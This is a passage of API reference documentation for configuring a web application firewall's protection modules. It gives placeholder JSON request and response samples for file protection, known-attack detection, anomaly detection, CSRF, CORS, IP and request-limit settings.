00064 Excel(.xlsx)
00065 Excel Macro-Enabled(.xlsm)
00066 Excel Template(.xltx)
00067 Excel Macro-Enabled Template(.xltm)
00068 Excel Add-In(.xlam)
00069 PPT(.pptx)
00070 PPT Macro-Enabled(.pptm)
00071 PPT Template(.potx)
00072 PPT Macro-Enabled Template(.potm)
00073 PPT Add-In(.ppam)
00074 PPT Show(.ppsx)
00075 PPT Macro-Enabled Show(.ppsm)
00076 Visio Drawing(.vsdx)
00077 Visio Macro-Enabled Drawing(.vsdm)
00078 Visio Stencil(.vssx)
00079 Visio Macro-Enabled Stencil(.vssm)
00080 Visio Template(.vstx)
00081 Visio Macro-Enabled Template(.vstm)
00003 PDF
00004 XML
00021 CHM
00022 EXE
00026 RTF
00036 Windows Help File(.hlp)
00042 Windows Mobile Note(.pwi)
00043 Windows Registry Text(.reg)
00046 SQL Server 2000 Database(.mdf)
00047 Java Archive(.jar)
00048 Windows Printer Spool File(.shd)
00049 Windows Shortcut File(.lnk)
00051 Quark Express Document(.qxd)
00053 Windows MS Info File(.mof)
00055 Microsoft Access Database(.MDB)
00056 SPSS Data(.SAV)
00083 RedHat Package Manager file(.RPM)
00082 VMware Virtual Disk File(.vmdk)
00084 Lotus WordPro document(.LWP)
00085 Adobe encapsulated PostScript file(.EPS)
00086 Lotus 1-2-3 spreadsheet(.WK)
00087 SkinCrafter skin file(.skf)
00088 Nero CD Compilation(.NRI)
00090 Microsoft Office Word(.doc)
00091 Microsoft Office Excel(.xls)
00092 Microsoft Office PowerPoint(.ppt)
00093 Hancom Office Hanword(.hwp)
00005 MP3
00006 MIDI
00007 WAVE
00031 Apple CoreAudio(.caf)
00037 Microsoft Advanced Streaming(.asf)
00039 Real Audio File(.ra)
00044 Apple Lossless Audio(.m4a)
00052 Digital Speech Standard(.dss)
00011 Real Media File(.rm)
00012 MPEG v4
00013 3GPP
00015 AVI
00020 Macromedia Flash
00035 Windows Animated Cursor
00045 DVD Video Movie File(.vob)
00008 RAR
00009 ZIP
00017 TAR
00025 7-ZIP
00027 Debian Package
00029 Microsoft Cabinet File
00033 Unix Archiver File(.ar)
00034 Installshield Cabinet Archive Data
00040 AIN Archive Data(.ain)
00041 BZIP2 Archive(.bz2)
00057 WinZIP ZIPX Archive(ZIPx)
00058 Gzipped Tape Archive(TGZ)
00094 TXT(.txt)
00095 ZIP(.zip)
00096 7-ZIP(.7z)
00097 Debian Package(.pkg)
00098 Unix Archiver File(.ar)
00099 AIN Archive Data(.ain)
00100 BZIP2 Archive(.bz2)
00101 Gzipped Tape Archive(.tgz)
00102 Word(.docx)
00103 Word Macro-Enabled(.docm)
00104 Word Template(.dotx)
00105 Word Macro-Enabled Template(.dotm)
00106 Excel(.xlsx)
00107 Excel Macro-Enabled(.xlsm)
00108 Excel Template(.xltx)
00109 Excel Macro-Enabled Template(.xltm)
00110 Excel Add-In(.xlam)
00111 PPT(.pptx)
00112 PPT Macro-Enabled(.pptm)
00113 PPT Template(.potx)
00114 PPT Macro-Enabled Template(.potm)
00115 PPT Add-In(.ppam)
00116 PPT Show(.ppsx)
00117 PPT Macro-Enabled Show(.ppsm)
00118 Visio Drawing(.vsdx)
00119 Visio Macro-Enabled Drawing(.vsdm)
00120 Visio Stencil(.vssx)
00121 Visio Macro-Enabled Stencil(.vssm)
00122 Visio Template(.vstx)
00123 Visio Macro-Enabled Template(.vstm)
00124 PDF(.pdf)
00125 XML(.xml)
00126 EXE(.exe)
00127 Rich Text Format(.rtf)
00128 Windows Help File(.hlp)
00129 Windows Mobile Note(.pwi)
00130 Windows Registry Text(.reg)
00131 SQL Server 2000 Database(.mdf)
00132 Java Archive(.jar)
00133 Windows Printer Spool File(.shd)
00134 Windows Shortcut File(.lnk)
00135 Quark Express Document(.qxd)
00136 Windows MS Info File(.mof)
00137 Microsoft Access Database(.MDB)
00138 SPSS Data(.SAV)
00139 RedHat Package Manager file(.RPM)
00140 VMware Virtual Disk File(.vmdk)
00141 Adobe encapsulated PostScript file(.EPS)
00142 SPSS Data(.SAV)
00145 Lotus 1-2-3 spreadsheet(.WK)
00146 SkinCrafter skin file(.skf)
00147 Nero CD Compilation(.NRI)
00148 Microsoft Office Word(.doc)
00149 Microsoft Office Excel(.xls)
00150 Microsoft Office PowerPoint(.ppt)
00151 Hancom Office Hanword(.hwp)
00152 PHP(.php)
00153 JSP(.jsp)
00154 ASPX(.aspx)
00155 GIF(.gif)
00156 JPG(.jpg)
00157 BMP(.bmp)
00158 SPSS Data(.SAV)
00159 Windows Metafile Format(.wmf)
00160 Windows Icon(.icon)
00161 Microsoft Document Image(.mdi)
00162 Windows Enhanced Metafile(.emf)
00163 Photoshop Image File(.psd)
00164 JPEG-2000 Image File Format(.jp2)
00165 Multipage PCX Bitmap File(.dcx)(.SAV)
00166 SQL(.sql)

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Request Body schema: application/json

required	object (FileProtection)
template required	boolean Enum: true false Enable to inherit configuration from template

Responses

Request samples

Payload

Content type
application/json

{"configs": {"action": "alert_deny", "av_scan": true, "custom_file_types": [{"file_extension": "xyz", "idx": 1, "match_rules": [{"concatenate_type": "AND", "data_type": "string", "data_value": "lwtf_type", "idx": 1, "offset": 0, "offset_from": "beginning", "operation": "search" }, {"concatenate_type": "OR", "data_type": "string", "data_value": "test", "idx": 2, "offset": 0, "offset_from": "end_of_last_match", "operation": "equal" }, {"concatenate_type": "AND", "data_type": "hex_array", "data_value": "1234567890abcdef", "idx": 3, "offset": 0, "offset_from": "beginning", "operation": "search" } ], "name": "custom_type_name" } ], "file_action": "Allow", "file_size": 1024, "file_types": [{"idx": 1, "tid": "00001", "type": "GIF" }, {"idx": 2, "tid": "00059", "type": "XPS" } ], "json_file_support": false, "json_key_field": null, "json_key_for_filename": null, "sandbox": true, "status": true, "trojan": true, "url": "/1" }, "template": false }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Get Information Leakage

Get the configuration of information leakage.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"action": "deny_erase_no_log", "cloak_error_pages": true, "erase_http_headers": true, "http_headers": ["a", "b" ], "personal_info": false, "server_info_disclose": true, "sig_except_rules": [{"cookie": {"check_status": false, "check_value": "", "status": true, "type": "regex", "value": "b" }, "host": {"status": true, "type": "string", "value": "www.example.com:1234" }, "http_header": {"check_status": false, "check_value": "", "status": true, "type": "regex", "value": "d" }, "idx": 1, "json": {"check_status": false, "check_value": "", "status": true, "type": "regex", "value": "c" }, "param": {"check_status": false, "check_value": "", "status": true, "type": "regex", "value": "a" }, "sig_id": "080060001", "sig_name": "Server Information Disclosure", "url": {"status": true, "type": "string", "value": "/1" } } ], "status": true }, "template": false } }

Update Information Leakage

Update the configuration of information leakage.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Request Body schema: application/json

required	object (InformationLeakage)
template required	boolean Enum: true false Enable to inherit configuration from template

Responses

Request samples

Payload

Content type
application/json

{"configs": {"action": "deny_erase_no_log", "cloak_error_pages": true, "erase_http_headers": true, "http_headers": ["a", "b" ], "personal_info": false, "server_info_disclose": true, "sig_except_rules": [{"cookie": {"check_status": false, "check_value": "", "status": true, "type": "regex", "value": "b" }, "host": {"status": true, "type": "string", "value": "www.example.com:1234" }, "http_header": {"check_status": false, "check_value": "", "status": true, "type": "regex", "value": "d" }, "idx": 1, "json": {"check_status": false, "check_value": "", "status": true, "type": "regex", "value": "c" }, "param": {"check_status": false, "check_value": "", "status": true, "type": "regex", "value": "a" }, "sig_id": "080060001", "sig_name": "Server Information Disclosure", "url": {"status": true, "type": "string", "value": "/1" } } ], "status": true }, "template": false }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Get Known Attacks

Get the configuration of known attacks.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"action": "alert_deny", "arithmetic_sql_inject": true, "condition_sql_inject": true, "cross_site_script": true, "cross_site_script_ext": false, "embed_sql_inject": true, "generic_attacks": true, "generic_attacks_ext": false, "html_attr_xss_inject": true, "html_css_xss_inject": true, "html_tag_xss_inject": true, "js_func_xss_inject": true, "js_var_xss_inject": true, "known_exploits": true, "line_comments": true, "sensitivity_level": 1, "sig_except_rules": [{"cookie": {"check_status": false, "check_value": "", "status": true, "type": "string", "value": "b" }, "host": {"status": true, "type": "string", "value": "www.example.com:1234" }, "http_header": {"check_status": false, "check_value": "", "status": true, "type": "string", "value": "d" }, "idx": 1, "json": {"check_status": false, "check_value": "", "status": true, "type": "string", "value": "c" }, "param": {"check_status": false, "check_value": "", "status": true, "type": "regex", "value": "a" }, "sig_id": "030000010", "sig_name": "SQL Injection", "url": {"status": true, "type": "string", "value": "/1" } } ], "sql_func_inject": true, "sql_inject": true, "sql_inject_ext": false, "stack_sql_inject": true, "status": true, "stx_except_rules": [{"attack_cat": "SQL Injection (Syntax Based Detection)", "attack_name": "Embedded Queries SQL Injection", "cookie": {"status": false, "type": "string", "value": "1" }, "idx": 1, "param": {"status": true, "type": "regex", "value": "1" }, "url": {"status": true, "type": "string", "value": "/1" } } ], "trojans": true }, "template": false } }

Update Known Attacks

Update the configuration of known attacks.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Request Body schema: application/json

required	object (KnownAttacks)
template required	boolean Enum: true false Enable to inherit configuration from template

Responses

Request samples

Payload

Content type
application/json

{"configs": {"action": "alert_deny", "arithmetic_sql_inject": true, "condition_sql_inject": true, "cross_site_script": true, "cross_site_script_ext": false, "embed_sql_inject": true, "generic_attacks": true, "generic_attacks_ext": false, "html_attr_xss_inject": true, "html_css_xss_inject": true, "html_tag_xss_inject": true, "js_func_xss_inject": true, "js_var_xss_inject": true, "known_exploits": true, "line_comments": true, "sensitivity_level": 1, "sig_except_rules": [{"cookie": {"check_status": false, "check_value": "", "status": true, "type": "string", "value": "b" }, "host": {"status": true, "type": "string", "value": "www.example.com:1234" }, "http_header": {"check_status": false, "check_value": "", "status": true, "type": "string", "value": "d" }, "idx": 1, "json": {"check_status": false, "check_value": "", "status": true, "type": "string", "value": "c" }, "param": {"check_status": false, "check_value": "", "status": true, "type": "regex", "value": "a" }, "sig_id": "030000010", "sig_name": "SQL Injection", "url": {"status": true, "type": "string", "value": "/1" } } ], "sql_func_inject": true, "sql_inject": true, "sql_inject_ext": false, "stack_sql_inject": true, "status": true, "stx_except_rules": [{"attack_cat": "SQL Injection (Syntax Based Detection)", "attack_name": "Embedded Queries SQL Injection", "cookie": {"status": false, "type": "string", "value": "1" }, "idx": 1, "param": {"status": true, "type": "regex", "value": "1" }, "url": {"status": true, "type": "string", "value": "/1" } } ], "trojans": true }, "template": false }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Discard argument of Anomaly Detection

Discard http argument of Anomaly Detection.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Request Body schema: application/json

arg_id required	integer HTTP argument ID in model
url_id required	integer URL ID in model

Responses

Request samples

Payload

Content type
application/json

{"arg_id": 1, "url_id": 1 }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Get Overview of Anomaly Detection

Get the Overview data of of anomaly detection.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Responses

Response samples

200
400

Content type
application/json

{"categories": [ ], "event_json": [{"action_source": "FortiWeb daemon", "arg_name": "demo1", "from_state": 1, "is_back": 0, "model": "", "reason": "Parameter confirmed", "time_stamp": "1679173986", "to_state": 1, "url_path": "/" } ], "event_series": [{"data": [ ], "name": "Anomaly" } ], "hmm_data": [{"name": "Collecting", "y": 2 }, {"name": "Building", "y": 0 }, {"name": "Running", "y": 1 }, {"name": "Discarded", "y": 1 } ], "summary_data": {"alert_requests": 0, "block_requests": 0, "charset": "UTF-8", "charset_status": 2, "http_requests": 0, "https_requests": 0, "total_requests": 0, "train_start_time": "1679006536", "url_num": 2 }, "top10_data": [{"name": "/", "y": 0 } ], "traffic_series": [{"data": [ ], "name": "HTTP Requests" }, {"data": [ ], "name": "HTTPS Requests" } ] }

Rebuild argument of Anomaly Detection

Rebuild http argument of Anomaly Detection.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Request Body schema: application/json

arg_id required	integer HTTP argument ID in model
url_id required	integer URL ID in model

Responses

Request samples

Payload

Content type
application/json

{"arg_id": 1, "url_id": 1 }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Rebuild directory of Anomaly Detection

Rebuild all URLs under the directory of Anomaly Detection.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Request Body schema: application/json

path

required

string

URL path in model

Responses

Request samples

Payload

Content type
application/json

{"path": "/api/" }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Rebuild URL of Anomaly Detection

Rebuild URL of Anomaly Detection.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Request Body schema: application/json

url_id

required

integer

URL ID in model

Responses

Request samples

Payload

Content type
application/json

{"url_id": 1 }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Get Treeview of Anomaly Detection

Get the Treeview data of anomaly detection.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Responses

Response samples

200
400

Content type
application/json

{"treeData": [{"events": 0, "hasChild": true, "id": 1, "isLink": true, "isRoot": true, "label": "/", "nodes": [{"events": 0, "id": 2, "isLink": true, "isRoot": false, "label": "api/", "path": "/api/", "url_id": 2 } ], "path": "/", "url_id": 1 } ] }

Get URL Stats of Anomaly Detection

Get the URL Stats data of anomaly detection.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

query Parameters

url_id

required

string

URL ID of model, required when get URL Stats detail.

Responses

Response samples

200
400

Content type
application/json

{"details": {"parameters": [{"arg_learn_stage": "running", "arg_learn_stat": 4, "arg_name": "demo1", "arg_ratio": 0, "arg_sample_cnt": 2000, "cur_time": 0, "events": 0, "id": 3, "max_arg_ratio": 0, "max_time": 0, "sample_collecting_mode": 0, "url_id": 1 } ] }, "summary": {"access_heat": 0, "alert": 0, "anomaly": 0, "block": 0, "traffic_trend": [{"alert": 0, "anomaly_count": 0, "block": 0, "id": 1, "request_count": 0, "stat_time": "1680206590" } ], "train_start_time": "1679006595" } }

Get Parameter Validation

Get the configuration of parameter validation.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"rule_list": [{"action": "alert", "block_period": 60, "idx": 1, "name": "1", "sub_rule_list": [{"arg_type": "data-type", "arg_val": "Email", "idx": 1, "max_len": 100, "name": "a", "required": true, "type_check": true }, {"arg_type": "regular-expression", "arg_val": "aaa", "idx": 2, "max_len": 50, "name": "b", "required": true, "type_check": true } ], "url": " /1" } ], "status": true }, "template": false } }

Update Parameter Validation

Update the configuration of parameter validation.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Request Body schema: application/json

required	object (ParameterValidation)
template required	boolean Enum: true false Enable to inherit configuration from template

Responses

Request samples

Payload

Content type
application/json

{"configs": {"rule_list": [{"action": "alert", "block_period": 60, "idx": 1, "name": "1", "sub_rule_list": [{"arg_type": "data-type", "arg_val": "Email", "idx": 1, "max_len": 100, "name": "a", "required": true, "type_check": true }, {"arg_type": "regular-expression", "arg_val": "aaa", "idx": 2, "max_len": 50, "name": "b", "required": true, "type_check": true } ], "url": " /1" } ], "status": true }, "template": false }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Get Exception

Get the information of signature exception.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

query Parameters

signatureid

string

The signature ID.

Responses

Response samples

200
400

Content type
application/json

{"result": {"template": "66djd67d-644a-46a9-8975-961c193f195f" } }

Update Exception

Update the information of signature exception.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Request Body schema: application/json

required

Array of objects (SignatureExceptionItem)

Responses

Request samples

Payload

Content type
application/json

{"exception rule": {"cookie": {"check_status": "enable", "check_value": "SN1234567890", "operator": "STRING_MATCH", "status": "enable", "value": "baz" }, "host": {"operator": "STRING_MATCH", "status": "enable", "value": "www.example.com:1234" }, "http_header": {"check_status": "disable", "check_value": "", "operator": "STRING_MATCH", "status": "enable", "value": "d" }, "json": {"check_status": "disable", "check_value": "", "operator": "STRING_MATCH", "status": "disable", "value": "" }, "parameter": {"check_status": "disable", "check_value": "", "operator": "STRING_MATCH", "status": "enable", "value": "bar" }, "signature_id": "030000001", "signature_name": "SQL Injection", "url": {"operator": "STRING_MATCH", "status": "enable", "value": "/foo" } } }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Client Security

This section shows how to configure module client security.

Get CSRF Protection

Get the configuration of CSRF protection.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"action": "alert", "page_list": [{"filter": true, "idx": 1, "name": "a", "url": "/1", "value": "1" } ], "status": false, "url_list": [{"filter": true, "idx": 1, "name": "b", "url": "/2", "value": "2" } ] }, "template": false } }

Update CSRF Protection

Update the configuration of CSRF protection.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Request Body schema: application/json

required	object (CSRFProtection)
template required	boolean Enum: true false Enable to inherit configuration from template

Responses

Request samples

Payload

Content type
application/json

{"configs": {"action": "alert", "page_list": [{"filter": true, "idx": 1, "name": "a", "url": "/1", "value": "1" } ], "status": false, "url_list": [{"filter": true, "idx": 1, "name": "b", "url": "/2", "value": "2" } ] }, "template": false }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Get HTTP Header Security

Get the configuration of HTTP header security.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"content_security_policy": true, "header_value": "X", "referrer_policy": true, "referrer_policy_header_value": "strict-origin-when-cross-origin", "status": true, "x_content_type_options": true, "x_frame_options": true, "x_xss_protection": true }, "template": false } }

Update HTTP Header Security

Update the configuration of HTTP header security.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Request Body schema: application/json

required	object (HttpHeaderSecurity)
template required	boolean Enum: true false Enable to inherit configuration from template

Responses

Request samples

Payload

Content type
application/json

{"configs": {"content_security_policy": true, "header_value": "X", "referrer_policy": true, "referrer_policy_header_value": "strict-origin-when-cross-origin", "status": true, "x_content_type_options": true, "x_frame_options": true, "x_xss_protection": true }, "template": false }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Get MITB Protection

Get the configuration of MITB protection.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"action": "alert_deny", "domain_list": [{"domain": "https://maps.googleapis.com", "idx": 1 }, {"domain": "https://www.googletagmanager.com", "idx": 2 }, {"domain": "https://www.google-analytics.com", "idx": 3 } ], "param_list": [{"anti_key_logger": false, "encrypt": false, "idx": 1, "name": "a", "obfuscate": true, "type": "regular-input" } ], "post_url": "/2", "request_url": "/1", "status": true }, "template": false } }

Update MITB Protection

Update the configuration of MITB protection.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Request Body schema: application/json

required	object (MITBProtection)
template required	boolean Enum: true false Enable to inherit configuration from template

Responses

Request samples

Payload

Content type
application/json

{"configs": {"action": "alert_deny", "domain_list": [{"domain": "https://maps.googleapis.com", "idx": 1 }, {"domain": "https://www.googletagmanager.com", "idx": 2 }, {"domain": "https://www.google-analytics.com", "idx": 3 } ], "param_list": [{"anti_key_logger": false, "encrypt": false, "idx": 1, "name": "a", "obfuscate": true, "type": "regular-input" } ], "post_url": "/2", "request_url": "/1", "status": true }, "template": false }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Access Rules

This section shows how to configure module access rules.

Get CORS Protection

Get the configuration of CORS protection.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"allowed_credentials": "None", "allowed_headers": {"headers": ["demo" ], "status": true }, "allowed_maximum_age": 0, "allowed_methods": {"methods": ["GET" ], "status": true }, "allowed_origins": [{"include_sub_domains": false, "origin_name": "test", "port": 1, "protocol": "ANY" } ], "block_cors_traffic": false, "exposed_headers": {"headers": ["demo_ex" ], "status": true }, "status": true, "url_pattern": "/" }, "template": false } }

Update CORS Protection

Update the configuration of CORS protection.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Request Body schema: application/json

required	object (CorsProtection)
template required	boolean Enum: true false Enable to inherit configuration from template

Responses

Request samples

Payload

Content type
application/json

{"configs": {"allowed_credentials": "None", "allowed_headers": {"headers": ["demo" ], "status": true }, "allowed_maximum_age": 0, "allowed_methods": {"methods": ["GET" ], "status": true }, "allowed_origins": [{"include_sub_domains": false, "origin_name": "test", "port": 1, "protocol": "ANY" } ], "block_cors_traffic": false, "exposed_headers": {"headers": ["demo_ex" ], "status": true }, "status": true, "url_pattern": "/" }, "template": false }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Export Geo IP Exception list

Export Geo IP Exception list.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Responses

Response samples

200
400

Content type
application/json

{"result": {"content": "encoding data", "file_name": "geo_ip_exception_list.csv" } }

Get IP Protection

Get the configuration of IP protection.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"block_country_list": ["Afghanistan", "Bahamas" ], "geo_ip_mode": "block", "ip_list": [{"idx": 1, "ip": "1.1.1.1", "type": "trust-ip" }, {"idx": 2, "ip": "2.2.2.2", "type": "block-ip" }, {"idx": 3, "ip": "3.3.3.3", "type": "allow-only-ip" } ], "ip_reputation": true, "status": true }, "template": false } }

Update IP Protection

Update the configuration of IP protection.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Request Body schema: application/json

required	object (IPProtectionPut)
template required	boolean Enum: true false Enable to inherit configuration from template

Responses

Request samples

Payload

Content type
application/json

{"configs": {"block_country_list": ["Afghanistan", "Bahamas" ], "geo_ip_mode": "block", "ip_list": [{"ip": "1.1.1.1", "type": "trust-ip" }, {"ip": "2.2.2.2", "type": "block-ip" }, {"ip": "3.3.3.3", "type": "allow-only-ip" } ], "ip_reputation": true, "status": true }, "template": false }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Export IP Protection list

Export IP Protection list.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Responses

Response samples

200
400

Content type
application/json

{"result": {"content": "encoding data", "file_name": "protection_ip_list.csv" } }

Get Request Limits

Get the configuration of request limits.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"allow_methods": ["get", "post", "head" ], "body_param_len": 8192, "chunk_size_check": false, "cl_te_coexist_check": false, "content_length_action": "alert_deny", "content_length_num": 0, "cookie_num": 128, "duplicate_param_check": true, "header_len": 8192, "header_line_num": 128, "header_name_len": 50, "header_value_len": 4096, "http2_max_req_action": "block_period", "http2_max_requests_check": true, "http2_max_requests_num": 1000, "http2_rst_action": "block_period", "http2_rst_stream_check": true, "http2_rst_stream_frq_check": true, "http2_rst_stream_frq_num": 20, "http2_rst_stream_num": 50, "http_header_action": "alert_deny", "http_param_action": "alert_deny", "http_req_action": "alert_deny", "http_req_len": 2048, "illegal_char_check": true, "illegal_cl_check": false, "illegal_ctype_check": false, "illegal_header_name_check": false, "illegal_header_value_check": false, "illegal_host_name_check": false, "illegal_http_req_method_check": false, "illegal_http_ver_check": false, "illegal_param_name_check": false, "illegal_param_value_check": false, "illegal_res_code_check": false, "inconsistent_cl_check": false, "malformed_req_check": false, "malformed_url_check": true, "max_http_body_length": 16384, "max_setting_current_streams_num": 1000, "max_setting_frame_size": 4194303, "max_setting_header_list_size": 65536, "max_setting_header_table_size": 65535, "max_setting_initial_window_size": 33554432, "multipart_formdata_bad_request_check": false, "null_char_check": true, "odd_and_even_space_attack_check": false, "others_action": "alert_deny", "param_name_check": false, "param_value_check": false, "post_req_ctype_check": false, "range_num": 5, "range_overlapping_check": false, "redundant_header_check": true, "req_filename_len": 2048, "rpc_protocol_check": false, "status": true, "url_param_len": 8192, "url_param_name_len": 4096, "url_param_num": 128, "url_param_value_len": 4096, "web_socket_protocol_check": false }, "template": false } }

Update Request Limits

Update the configuration of request limits.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Request Body schema: application/json

required	object (RequestLimits)
template required	boolean Enum: true false Enable to inherit configuration from template

Responses

Request samples

Payload

Content type
application/json

{"configs": {"allow_methods": ["get", "post", "head" ], "body_param_len": 8192, "chunk_size_check": false, "cl_te_coexist_check": false, "content_length_action": "alert_deny", "content_length_num": 0, "cookie_num": 128, "duplicate_param_check": true, "header_len": 8192, "header_line_num": 128, "header_name_len": 50, "header_value_len": 4096, "http2_max_req_action": "block_period", "http2_max_requests_check": true, "http2_max_requests_num": 1000, "http2_rst_action": "block_period", "http2_rst_stream_check": true, "http2_rst_stream_frq_check": true, "http2_rst_stream_frq_num": 20, "http2_rst_stream_num": 50, "http_header_action": "alert_deny", "http_param_action": "alert_deny", "http_req_action": "alert_deny", "http_req_len": 2048, "illegal_char_check": true, "illegal_cl_check": false, "illegal_ctype_check": false, "illegal_header_name_check": false, "illegal_header_value_check": false, "illegal_host_name_check": false, "illegal_http_req_method_check": false, "illegal_http_ver_check": false, "illegal_param_name_check": false, "illegal_param_value_check": false, "illegal_res_code_check": false, "inconsistent_cl_check": false, "malformed_req_check": false, "malformed_url_check": true, "max_http_body_length": 16384, "max_setting_current_streams_num": 1000, "max_setting_frame_size": 4194303, "max_setting_header_list_size": 65536, "max_setting_header_table_size": 65535, "max_setting_initial_window_size": 33554432, "multipart_formdata_bad_request_check": false, "null_char_check": true, "odd_and_even_space_attack_check": false, "others_action": "alert_deny", "param_name_check": false, "param_value_check": false, "post_req_ctype_check": false, "range_num": 5, "range_overlapping_check": false, "redundant_header_check": true, "req_filename_len": 2048, "rpc_protocol_check": false, "status": true, "url_param_len": 